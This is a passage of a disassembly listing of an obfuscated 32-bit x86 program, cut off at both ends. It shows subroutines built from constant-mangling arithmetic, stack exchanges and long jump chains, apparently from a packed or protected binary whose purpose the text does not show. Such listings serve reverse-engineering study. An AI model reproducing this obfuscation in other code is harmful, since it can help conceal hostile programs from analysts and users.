; END OF FUNCTION CHUNK FOR sub_42269A
; =============== S U B R O U T I N E =======================================
sub_42B0C9 proc near ; CODE XREF: sub_427F1C:loc_4239BFp
; _94j21ax3:0042B9F4j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00422B90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429817 SIZE 0000000F BYTES
mov [esp+0], edx
pop edx
xchg esi, [esp+0]
push ebx
push 32948371h
jmp loc_422B90
sub_42B0C9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42B0DB: ; CODE XREF: sub_423FCD+Fj
jz loc_42BB70
jmp loc_4291CF
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421388
loc_42B0E6: ; CODE XREF: sub_421388:loc_4239CEj
add eax, ds:4000FAh
xor eax, 0A9BB5FE8h
add eax, ebp
add eax, 62B4BAFBh
mov eax, [eax]
jmp loc_426B34
; END OF FUNCTION CHUNK FOR sub_421388
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42220B
loc_42B101: ; CODE XREF: sub_42220B-E19j
not esi
jmp loc_42B7EF
; END OF FUNCTION CHUNK FOR sub_42220B
; ---------------------------------------------------------------------------
loc_42B108: ; CODE XREF: _94j21ax3:0042AC81j
or edx, eax
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42B10A: ; CODE XREF: sub_423F55:loc_42AC6Bj
add ecx, 0A9A75C0Fh
; END OF FUNCTION CHUNK FOR sub_423F55
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_42B110: ; CODE XREF: sub_421CAA:loc_4225C2j
xchg ecx, [esp-4+arg_0]
jmp sub_42BA8A
; END OF FUNCTION CHUNK FOR sub_421CAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42B119: ; CODE XREF: sub_42972F+1FCj
jmp loc_42987B
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
cmp eax, ebx
jmp loc_424EF4
; ---------------------------------------------------------------------------
push 91CD4E28h
jmp sub_42A430
; ---------------------------------------------------------------------------
jl loc_42ABCF
jmp sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4231CD
loc_42B13A: ; CODE XREF: sub_4231CD+5j
ror eax, 12h
mov ds:dword_4219C4, eax
retn
; END OF FUNCTION CHUNK FOR sub_4231CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_42B144: ; CODE XREF: sub_425934-3D49j
rol eax, 12h
jmp loc_4251C1
; END OF FUNCTION CHUNK FOR sub_425934
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42131B
loc_42B14D: ; CODE XREF: sub_42131B+AFC2j
cmp eax, ds:dword_423454
jz loc_42A3E2
mov eax, [ebp+var_C]
cmp eax, ds:dword_422264
jz loc_42A3E2
mov eax, [ebp+var_C]
jmp loc_424C06
; END OF FUNCTION CHUNK FOR sub_42131B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427C35
loc_42B170: ; CODE XREF: sub_427C35+6j
push edi
xchg ebp, edi
mov eax, [ebp+arg_0]
mov ecx, [eax]
jmp loc_42362D
; END OF FUNCTION CHUNK FOR sub_427C35
; ---------------------------------------------------------------------------
mov eax, edi
jmp sub_425B77
; ---------------------------------------------------------------------------
loc_42B184: ; DATA XREF: sub_423324+2238o
add edx, 489FE4D7h
xchg edx, [esp]
jmp sub_42780F
; ---------------------------------------------------------------------------
ror edx, 8
jmp sub_42773C
; ---------------------------------------------------------------------------
loc_42B19A: ; DATA XREF: sub_42878A-1A74o
add esi, 0FC29AB28h
xchg esi, [esp]
jmp loc_42482A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42B1A8: ; CODE XREF: sub_421F28:loc_429205j
push edx
push 0FAB32C7Bh
pop edx
and edx, 502E25DEh
jmp loc_429A51
; END OF FUNCTION CHUNK FOR sub_421F28
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42B1BB proc near ; CODE XREF: sub_42651A+1Ep
; _94j21ax3:0042C582j
; FUNCTION CHUNK AT 0042B3CA SIZE 0000001A BYTES
mov [esp+0], ecx
pop ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_42C498
or eax, eax
jmp loc_42B3CA
sub_42B1BB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C03F
loc_42B1CF: ; CODE XREF: sub_42C03F:loc_42AAA4j
jz loc_421058
jmp loc_427208
; END OF FUNCTION CHUNK FOR sub_42C03F
; ---------------------------------------------------------------------------
mov ds:dword_4256CC, eax
; START OF FUNCTION CHUNK FOR sub_427CB6
loc_42B1DF: ; CODE XREF: sub_427CB6+7j
lea eax, [ebp-14h]
loc_42B1E2: ; CODE XREF: _94j21ax3:00421D99j
call sub_429054
; END OF FUNCTION CHUNK FOR sub_427CB6
; START OF FUNCTION CHUNK FOR sub_421689
loc_42B1E7: ; CODE XREF: sub_421689+8DFDj
jmp loc_4267AE
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42B1EC: ; CODE XREF: sub_42B9CF-9D06j
; sub_42B9CF:loc_42672Bj
call sub_42B1F2
locret_42B1F1: ; CODE XREF: _94j21ax3:004267B9j
retn
; END OF FUNCTION CHUNK FOR sub_42B9CF
; =============== S U B R O U T I N E =======================================
sub_42B1F2 proc near ; CODE XREF: sub_424692+Cp
; sub_42B9CF:loc_42B1ECp
call sub_422898
sub_42B1F2 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42A277
loc_42B1F7: ; CODE XREF: sub_42A277+Cj
jz loc_425233
jmp loc_422FA3
; END OF FUNCTION CHUNK FOR sub_42A277
; =============== S U B R O U T I N E =======================================
sub_42B202 proc near ; DATA XREF: sub_429B81-1DFEo
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00428D33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA18 SIZE 00000008 BYTES
push 0A38870CEh
mov [esp+4+var_4], eax
push edi
push 197866BEh
xchg esi, [esp+0Ch+var_C]
mov edi, esi
pop esi
add edi, 0E6C9E86Eh
jmp loc_428D33
sub_42B202 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42B221: ; CODE XREF: sub_422EB0:loc_42AE17j
mov ebp, [ecx]
jmp loc_428553
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425301
loc_42B228: ; CODE XREF: sub_425301+Dj
xor edx, edx
div ecx
mov [ebp-20h], edx
mov ecx, [ebp-14h]
push eax
jmp loc_42BEA2
; END OF FUNCTION CHUNK FOR sub_425301
; =============== S U B R O U T I N E =======================================
sub_42B238 proc near ; CODE XREF: sub_423614:loc_4251E8p
; _94j21ax3:0042B2FEj
; FUNCTION CHUNK AT 004227AC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00422A7B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004251ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042657F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426832 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428390 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004294FA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AA5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C0CF SIZE 00000010 BYTES
xchg ecx, [esp+0]
pop ecx
mov eax, ds:dword_429F74
push 99A8AA5Bh
pop edx
add edx, 5A0566CAh
rol edx, 1Eh
jmp loc_426832
sub_42B238 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42B255: ; CODE XREF: _94j21ax3:loc_42C070j
rol eax, 1Bh
call sub_429352
; START OF FUNCTION CHUNK FOR sub_42A440
loc_42B25D: ; CODE XREF: sub_42A440:loc_42569Cj
call sub_42A770
loc_42B262: ; CODE XREF: _94j21ax3:00429D92j
mov [ecx], esi
; END OF FUNCTION CHUNK FOR sub_42A440
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_42B264: ; CODE XREF: sub_4258EB-AC1j
; _94j21ax3:loc_429D7Bj
rol edx, 0Bh
xor edx, 0E5B5356Eh
call sub_4257BC
loc_42B272: ; CODE XREF: sub_4214E6:loc_4290DFj
; sub_423324+8B79j
mov eax, [ebp-0Ch]
push eax
call sub_42B079
; END OF FUNCTION CHUNK FOR sub_4258EB
; START OF FUNCTION CHUNK FOR sub_4214E6
loc_42B27B: ; CODE XREF: sub_4214E6+1473j
mov eax, 120h
call sub_425A09
jmp loc_429138
; END OF FUNCTION CHUNK FOR sub_4214E6
; ---------------------------------------------------------------------------
mov dword ptr [ebp-8], 1
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_42B291: ; CODE XREF: _94j21ax3:00427BAEj
; sub_42AA5F-676j
mov eax, [ebp-8]
jmp loc_4215EA
; END OF FUNCTION CHUNK FOR sub_42AA5F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B487
loc_42B29A: ; CODE XREF: sub_42B487+Fj
jmp loc_422DAC
; END OF FUNCTION CHUNK FOR sub_42B487
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42552D
loc_42B29F: ; CODE XREF: sub_42552D+7j
jmp loc_428FC8
; END OF FUNCTION CHUNK FOR sub_42552D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423EAE
loc_42B2A4: ; CODE XREF: sub_423EAE+3j
jmp loc_427D8D
; END OF FUNCTION CHUNK FOR sub_423EAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42B2A9: ; CODE XREF: sub_42B9CF:loc_429487j
test al, al
jz loc_421ED8
jmp loc_426F30
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
popf
jmp sub_4247D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426985
loc_42B2BC: ; CODE XREF: _94j21ax3:loc_423279j
; sub_426985+11j
mov eax, [ebp-18h]
add eax, eax
cdq
add eax, [esp+4+var_4]
adc edx, [esp+4]
add esp, 8
push offset loc_421B47
jmp loc_425175
; END OF FUNCTION CHUNK FOR sub_426985
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423081
loc_42B2D7: ; CODE XREF: sub_423081+6F90j
jmp loc_428ECD
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
loc_42B2DC: ; CODE XREF: _94j21ax3:00427A50j
jmp loc_42C3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42B2E1: ; CODE XREF: sub_421F28-170j
jmp loc_423CBF
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
push eax
push 1CDAA640h
pop eax
add eax, 0E3676F87h
xchg eax, [esp]
jmp loc_423D5F
; ---------------------------------------------------------------------------
shl eax, 1Dh
jmp sub_42B238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C3BD
loc_42B303: ; CODE XREF: sub_42C3BD-211Bj
jnz loc_42273A
jmp loc_423379
; END OF FUNCTION CHUNK FOR sub_42C3BD
; ---------------------------------------------------------------------------
loc_42B30E: ; CODE XREF: _94j21ax3:0042A76Aj
or edi, 0A2A3B9EFh
; =============== S U B R O U T I N E =======================================
sub_42B314 proc near ; CODE XREF: sub_422C48+5E8Dp
; FUNCTION CHUNK AT 00423D42 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004265EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429750 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042B54E SIZE 0000000B BYTES
xchg ebx, [esp+0]
pop ebx
add eax, 0CE7404DCh
mov eax, [eax]
mov eax, [eax]
and eax, 0FFFFFFh
jmp loc_4265EA
sub_42B314 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
ror edx, 0Bh
jmp loc_42A369
; ---------------------------------------------------------------------------
xchg ecx, ebp
jmp sub_429163
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_42B33B: ; CODE XREF: sub_426DA4-30ACj
push 0E7BE614Dh
pop eax
xor eax, 71491B32h
add eax, ebp
add eax, 6908857Dh
mov eax, [eax]
popf
push eax
jmp loc_42A73C
; END OF FUNCTION CHUNK FOR sub_426DA4
; =============== S U B R O U T I N E =======================================
sub_42B358 proc near ; CODE XREF: sub_42484C-1716j
; sub_425157:loc_4275C6p
; FUNCTION CHUNK AT 004217B2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00421F86 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424E88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004295C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AD61 SIZE 00000013 BYTES
mov [esp+0], ecx
pop ecx
xchg ecx, esi
push 0FFFFFFF1h
call sub_42BF1B
push eax
call sub_42A389
jmp loc_424E88
sub_42B358 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_42B370: ; CODE XREF: sub_42484C:loc_42275Aj
add ecx, ebp
add ecx, 0FA85E4C3h
mov ecx, [ecx]
call sub_423081
; END OF FUNCTION CHUNK FOR sub_42484C
; START OF FUNCTION CHUNK FOR sub_4237DC
loc_42B37F: ; CODE XREF: sub_4237DC+205Bj
jmp nullsub_141
; END OF FUNCTION CHUNK FOR sub_4237DC
; =============== S U B R O U T I N E =======================================
sub_42B384 proc near ; DATA XREF: sub_421DC4+9B9Co
add eax, 0E3A6FF25h
add eax, ebp
push offset loc_423D64
jmp nullsub_157
sub_42B384 endp
; =============== S U B R O U T I N E =======================================
sub_42B396 proc near ; CODE XREF: sub_429D19+750p
; FUNCTION CHUNK AT 00426575 SIZE 00000005 BYTES
push offset sub_423917
jmp loc_426575
sub_42B396 endp
; ---------------------------------------------------------------------------
loc_42B3A0: ; DATA XREF: sub_42A358+7o
mov eax, (offset loc_426F36+2)
call sub_424E34
cmp ds:dword_426F44, 0
jnz loc_42B891
lea edx, [ebp-14h]
jmp loc_425248
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BD03
loc_42B3BF: ; CODE XREF: sub_42BD03-9A50j
jnz loc_421D09
jmp loc_429CBF
; END OF FUNCTION CHUNK FOR sub_42BD03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B1BB
loc_42B3CA: ; CODE XREF: _94j21ax3:loc_4296BCj
; sub_42B1BB+Fj
jnz loc_424BC3
call sub_42574E
mov edx, 0B9726E5Ah
call sub_4239A5
call sub_424BAA
; END OF FUNCTION CHUNK FOR sub_42B1BB
; =============== S U B R O U T I N E =======================================
sub_42B3E4 proc near ; CODE XREF: _94j21ax3:004243EDj
; sub_4298A8+7p
; FUNCTION CHUNK AT 00425965 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AEFA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042C58D SIZE 0000001D BYTES
mov [esp+0], edx
pop edx
jnz loc_427AF8
cmp dword ptr [ebp-10h], 0
jnz loc_42AEFA
mov eax, [ebp+8]
push offset sub_4210BC
jmp nullsub_142
sub_42B3E4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B405 proc near ; CODE XREF: sub_423081+7p
; _94j21ax3:00424F27j
; FUNCTION CHUNK AT 0042375D SIZE 0000000D BYTES
xchg esi, [esp+0]
pop esi
push 9BA88001h
pop eax
add eax, 64578000h
jmp loc_42375D
sub_42B405 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_42B41A: ; CODE XREF: sub_427849:loc_42207Bj
cmp byte ptr [eax], 0EBh
loc_42B41D: ; CODE XREF: sub_427849:loc_42A598j
jz loc_421CE0
mov eax, [ebp-4]
mov al, [eax]
and al, 0F6h
jmp loc_4211D3
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42B42F: ; CODE XREF: sub_423F55:loc_42C200j
mov eax, [ebp-4]
inc eax
mov eax, [eax]
call sub_426C7A
; END OF FUNCTION CHUNK FOR sub_423F55
; START OF FUNCTION CHUNK FOR sub_426612
loc_42B43A: ; CODE XREF: sub_426612+9j
jmp sub_427004
; END OF FUNCTION CHUNK FOR sub_426612
; =============== S U B R O U T I N E =======================================
sub_42B43F proc near ; DATA XREF: _94j21ax3:loc_4284B6o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00427D2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A832 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF42 SIZE 00000011 BYTES
xor edx, 0F8B3E046h
call sub_4239A5
push esi
push 9738FBA5h
xchg ebx, [esp+8+var_8]
jmp loc_427D2F
sub_42B43F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422436
loc_42B458: ; CODE XREF: sub_422436:loc_4295E3j
mov ebx, [edx]
; END OF FUNCTION CHUNK FOR sub_422436
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42B45A: ; CODE XREF: sub_428BBD:loc_428234j
test esi, ebp
jmp loc_429C60
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428205
loc_42B461: ; CODE XREF: sub_428205:loc_4286EAj
push 56BC1FDh
mov [esp+0], eax
mov eax, [ebp-30h]
push eax
jmp loc_427EDB
; END OF FUNCTION CHUNK FOR sub_428205
; ---------------------------------------------------------------------------
loc_42B472: ; CODE XREF: _94j21ax3:0042AD76j
jns loc_42A997
; =============== S U B R O U T I N E =======================================
sub_42B478 proc near ; CODE XREF: sub_423FCD+4773p
; FUNCTION CHUNK AT 00429A2A SIZE 00000005 BYTES
mov [esp+0], ecx
pop ecx
push 6685D488h
pop edx
jmp loc_429A2A
sub_42B478 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42B487 proc near ; CODE XREF: sub_421330+66B6p
; FUNCTION CHUNK AT 00422DAC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B29A SIZE 00000005 BYTES
xchg eax, [esp+0]
mov eax, [esp+0]
call sub_429DCC
cmp dword ptr [ebp-0Ch], 0
jmp loc_42B29A
sub_42B487 endp
; ---------------------------------------------------------------------------
cmp esi, eax
jmp loc_42327E
; ---------------------------------------------------------------------------
loc_42B4A2: ; CODE XREF: _94j21ax3:0042487Dj
jnz loc_428D5A
jmp loc_422E67
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42B4AF: ; CODE XREF: sub_42972F:loc_423934j
mov edx, ecx
jmp loc_42660D
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
loc_42B4B6: ; CODE XREF: _94j21ax3:0042BF2Cj
jg loc_42BCFD
loc_42B4BC: ; CODE XREF: _94j21ax3:00429870j
push 0DEC393C6h
loc_42B4C1: ; CODE XREF: _94j21ax3:loc_42440Aj
call sub_421D33
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424F07
loc_42B4C7: ; CODE XREF: sub_424F07+18j
jmp loc_429C81
; END OF FUNCTION CHUNK FOR sub_424F07
; ---------------------------------------------------------------------------
loc_42B4CC: ; CODE XREF: _94j21ax3:00423BD4j
pop edx
xor edx, 9FCB4497h
call sub_4239A5
call sub_42574E
mov edx, 710DA469h
call sub_4239A5
call sub_42574E
jmp loc_427575
; =============== S U B R O U T I N E =======================================
sub_42B4F1 proc near ; CODE XREF: sub_423324+C8p
; sub_4238D1:loc_42B808j
; FUNCTION CHUNK AT 0042AB8A SIZE 0000000B BYTES
mov [esp+0], eax
pop eax
add eax, [ebp-4]
xor edx, edx
push edx
jmp loc_42AB8A
sub_42B4F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B500 proc near ; CODE XREF: sub_424D58:loc_428C31j
push ebp
mov ebp, esp
push ecx
call sub_422EB0
loc_42B509: ; CODE XREF: sub_4220FC+Ej
jmp nullsub_145
sub_42B500 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42B50E: ; CODE XREF: sub_423614-2080j
mov [ebp-20h], eax
; END OF FUNCTION CHUNK FOR sub_423614
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42B511: ; CODE XREF: sub_423614-2090j
; sub_421D33:loc_422E3Ej ...
jb loc_426632
test byte ptr [ebp-7], 8
jz loc_42C550
push ebp
mov eax, [ebp-20h]
jmp loc_42B5EC
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429BE2
loc_42B52A: ; CODE XREF: sub_429BE2+Aj
mov ebp, esp
call nullsub_11
mov eax, ds:dword_425BD0
call sub_423F43
mov esp, ebp
xchg eax, [esp+0]
mov ebp, eax
pop eax
jmp loc_427541
; END OF FUNCTION CHUNK FOR sub_429BE2
; ---------------------------------------------------------------------------
pop ecx
jmp sub_426CF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B314
loc_42B54E: ; CODE XREF: sub_42B314-75C6j
test esi, 0D8150C45h
jmp loc_429750
; END OF FUNCTION CHUNK FOR sub_42B314
; ---------------------------------------------------------------------------
shr ecx, 1
jmp loc_42BDD5
; ---------------------------------------------------------------------------
loc_42B560: ; CODE XREF: _94j21ax3:00429093j
cmp ebp, 164B0084h
jmp loc_42A7F6
; ---------------------------------------------------------------------------
push edx
push 9F3FA7B5h
shr edx, 1Fh
jmp loc_429DF9
; ---------------------------------------------------------------------------
popf
jmp loc_421F26
; ---------------------------------------------------------------------------
loc_42B57F: ; CODE XREF: _94j21ax3:loc_427711j
jns loc_4271F4
and ebp, 1589BD3Eh
pushf
jmp loc_427AD4
; ---------------------------------------------------------------------------
sub ebx, 0CA108DDBh
jmp sub_42C364
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424839
loc_42B59C: ; CODE XREF: sub_424839-2A0Cj
push offset sub_42B9CF
jmp loc_42B5F7
; END OF FUNCTION CHUNK FOR sub_424839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42B5A6: ; CODE XREF: sub_4272E9-2119j
jnz loc_425144
jmp loc_4273DC
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
sub ebx, 0FB09B585h
jmp sub_427D65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42851E
loc_42B5BC: ; CODE XREF: sub_42851E:loc_42434Aj
call sub_4239A5
push eax
ror eax, 5
push edi
jmp loc_42B82F
; END OF FUNCTION CHUNK FOR sub_42851E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42B5CB: ; CODE XREF: sub_423324:loc_42BABDj
push eax
push 1CB6F3B2h
pop eax
sub eax, 7D4ABC2Fh
or eax, 0B3C10C15h
xor eax, 0BFED3F97h
xchg eax, [esp+38h+var_38]
jmp loc_4243F2
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_42B5EC: ; CODE XREF: sub_421D33+97F2j
call sub_422790
pop ecx
call sub_426626
loc_42B5F7: ; CODE XREF: sub_424839+6D68j
jmp locret_42A521
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DA4
loc_42B5FC: ; CODE XREF: sub_426DA4-38FDj
jmp loc_424716
; END OF FUNCTION CHUNK FOR sub_426DA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42B601: ; CODE XREF: sub_42284F:loc_4219A0j
test edx, eax
jmp loc_422882
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4246B9
loc_42B608: ; CODE XREF: sub_4246B9+10j
lea eax, loc_423AB6
mov [ecx+0B8h], eax
pop ecx
xor eax, eax
jmp loc_4219B0
; END OF FUNCTION CHUNK FOR sub_4246B9
; ---------------------------------------------------------------------------
loc_42B61C: ; CODE XREF: _94j21ax3:loc_42110Aj
rol edi, 1
add edi, 1B926636h
mov [edi], eax
xchg ebp, [esp]
mov edi, ebp
jmp loc_424721
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424D8C
loc_42B630: ; CODE XREF: sub_424D8C:loc_423189j
add edi, 0DF0461ADh
xchg edi, [esp+18h+var_18]
push 0
push 0
call sub_4210C7
; END OF FUNCTION CHUNK FOR sub_424D8C
; START OF FUNCTION CHUNK FOR sub_42651A
loc_42B642: ; CODE XREF: sub_42651A+5233j
jmp loc_4296AA
; END OF FUNCTION CHUNK FOR sub_42651A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42B647: ; CODE XREF: sub_42169F:loc_42910Ej
pop eax
and eax, 0D6E572E5h
rol eax, 1Eh
add eax, 0AC41680Dh
xchg eax, [esp-10h+arg_C]
jmp loc_423674
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_42B65F proc near ; CODE XREF: sub_422973+47A1j
push ebp
sub_42B65F endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422973
loc_42B660: ; CODE XREF: sub_422973:loc_426431j
push edx
push 0D400411h
pop edx
jmp loc_429C16
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
loc_42B66C: ; CODE XREF: _94j21ax3:0042224Dj
push ebx
push 0DCE20AC0h
and ebx, 364597A3h
jmp loc_4295A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F6D
loc_42B67D: ; CODE XREF: sub_428F6D:loc_428F7Cj
sub ecx, 87EE264h
shl edx, 1
or edx, ecx
pop ebx
pop eax
pop ecx
jmp loc_4242D3
; END OF FUNCTION CHUNK FOR sub_428F6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_42B68F: ; CODE XREF: sub_42AE5Aj
xor ebx, edx
shl eax, 4
jmp loc_428FE7
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
loc_42B699: ; DATA XREF: _94j21ax3:0042184Fo
push edx
push ecx
push eax
push offset sub_42763B
jmp loc_421FBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42B6A6: ; CODE XREF: sub_421F28:loc_424BB9j
add ecx, 0E30D9A4Bh
mov [ecx], eax
pop ecx
cmp ds:dword_422274, 0
jnz loc_4244DB
call sub_429EBD
loc_42B6C1: ; CODE XREF: sub_427ABD+403Bj
sub edx, 1DCD8D36h
jnz loc_421100
jmp loc_423EB6
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42B6D2: ; CODE XREF: sub_42A0CC-5658j
adc ebx, 0EF7B7E32h
mov esi, [ebx]
jmp loc_42859D
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427ABD
loc_42B6DF: ; CODE XREF: sub_427ABD:loc_42A06Cj
call sub_428F65
test al, al
jz nullsub_149
jmp loc_42760E
; END OF FUNCTION CHUNK FOR sub_427ABD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423284
loc_42B6F1: ; CODE XREF: sub_423284:loc_42B06Fj
cmp dword ptr [ebp-8], 0
jnz loc_4239DF
mov eax, [ebp-4]
mov [ebp-8], eax
jmp loc_4239DF
; END OF FUNCTION CHUNK FOR sub_423284
; =============== S U B R O U T I N E =======================================
sub_42B706 proc near ; CODE XREF: sub_423284:loc_4224EAj
; FUNCTION CHUNK AT 004239D3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A1B0 SIZE 00000005 BYTES
add esp, 0FFFFFFF4h
mov [ebp-8], edx
mov [ebp-4], eax
cmp dword ptr [ebp-8], 0
jmp loc_42A1B0
sub_42B706 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42B719: ; CODE XREF: _94j21ax3:004240F4j
mov edi, 75649529h
; =============== S U B R O U T I N E =======================================
sub_42B71E proc near ; CODE XREF: _94j21ax3:00429828p
